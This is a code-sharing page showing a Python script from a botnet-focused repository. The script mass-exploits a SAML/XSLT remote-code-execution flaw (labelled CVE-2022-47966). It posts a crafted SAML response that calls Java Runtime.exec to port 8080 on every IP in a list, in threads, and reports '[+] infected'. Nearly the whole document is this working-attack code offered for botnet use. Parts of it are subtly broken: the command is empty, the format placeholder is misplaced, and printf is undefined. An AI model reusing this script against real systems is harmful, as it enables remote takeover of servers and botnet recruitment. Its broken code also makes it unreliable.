Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
 Path: blob/master/Botnets/Exploits/CVE-2022-47966.py
5038 views
1
import sys

2
import threading

3
import requests

4
import os

5
import socket

6
import time

7
from queue import *

8
from threading import Thread

9
import base64

10
import urllib.parse

11
 

12
if len(sys.argv) < 2:

13
    sys.exit("\033[37mUsage: python "+sys.argv[0]+" <ip list>")

14


15
ips = open(sys.argv[1], "r").readlines()

16
queue = Queue()

17
queue_count = 0

18
command = ''

19
 

20
info = open(str(sys.argv[1]),'a+')

21
saml = """<?xml version="1.0" encoding="UTF-8"?>

22
<samlp:Response

23
  ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf"

24
  InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff"

25
  IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">

26
  <samlp:Status>

27
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>

28
  </samlp:Status>

29
  <Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600"

30
    IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">

31
    <Issuer>{}</Issuer>

32
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">

33
      <ds:SignedInfo>

34
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>

35
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>

36
        <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">

37
          <ds:Transforms>

38
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>

39
            <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">

40
              <xsl:stylesheet version="1.0"

41
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"

42
                xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

43
                <xsl:template match="/">

44
                  <xsl:variable name="rtobject" select="rt:getRuntime()"/>

45
                  <xsl:variable name="process" select="rt:exec($rtobject,'{{command}}')"/>

46
                  <xsl:variable name="processString" select="ob:toString($process)"/>

47
                  <xsl:value-of select="$processString"/>

48
                </xsl:template>

49
              </xsl:stylesheet>

50
            </ds:Transform>

51
          </ds:Transforms>

52
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>

53
          <ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>

54
        </ds:Reference>

55
      </ds:SignedInfo>

56
      <ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==</ds:SignatureValue>

57
      <ds:KeyInfo/>

58
    </ds:Signature>

59
  </Assertion>

60
</samlp:Response>

61
""".format(command)

62
 

63
d = {'SAMLResponse': base64.b64encode(saml.encode())}

64
 

65
def test(ip):

66
    ip = str(ip).rstrip("\n")

67
    try:

68
        requests.post("https://"+ip+":8080/SamlResponseServlet", data=d, verify=False)

69
        printf("[+] infected");

70
    except Exception:

71
        print("[-] " + ip + " is not vulnerable!")

72
        pass

73
 

74


75
def main():

76
    global queue_count

77
    print(command);

78
    for line in ips:

79
        line = line.strip("\r")

80
        line = line.strip("\n")

81
        queue_count += 1

82
        sys.stdout.flush()

83
        queue.put(line)

84
    sys.stdout.write("\n")

85
    i = 0

86
    while i != queue_count:

87
        i += 1

88
        try:

89
            input = queue.get()

90
            thread = Thread(target=test, args=(input,))

91
            thread.start()

92
            time.sleep(0.05)

93
        except KeyboardInterrupt:

94
            os.kill(os.getpid(), 9)

95
    thread.join()

96
    return

97


98


99
if __name__ == "__main__":

100
    main()

101


102